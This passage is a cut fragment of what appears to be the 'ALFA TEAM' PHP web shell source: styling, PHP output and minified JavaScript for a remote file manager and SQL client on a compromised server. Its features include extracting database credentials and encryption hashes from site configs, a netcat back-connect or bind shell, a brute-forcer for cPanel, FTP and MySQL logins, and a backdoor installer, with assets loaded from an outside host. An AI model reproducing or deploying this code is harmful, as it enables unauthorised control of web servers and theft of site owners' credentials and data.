alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
<?php
echo "\r\n@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}\r\n@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}\r\n@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}\r\n@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}\r\n#alfaloader{\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}\r\n#a_loader img{\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}\r\n.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:\"Comic Sans MS\";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:" . alfa_getColor("header_values") . ';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(' . __showicon('alfamini') . ');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:' . ($GLOBALS['DB_NAME']['show_icons'] == '1' ? '0' : '1') . 'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(' . __showicon('alfamini') . ');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(' . __showicon('btn') . ');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;' . (!@is_writable($GLOBALS['cwd']) ? '}.dir{background-color:red;}' : '}') . '.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}' . alfaCssLoadColors() . '
</style>';
echo "<script type='text/javascript'>\r\nvar c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\nvar a_ = '" . htmlspecialchars(@$_POST['a']) . "';\r\nvar charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\nvar islinux = " . ($GLOBALS['sys'] != "win" ? 'true' : 'false') . ";\r\nvar post_encryption_mode = " . "true" . ";";
?>
var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&path="+c_+"&file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"¤t_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong> Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var 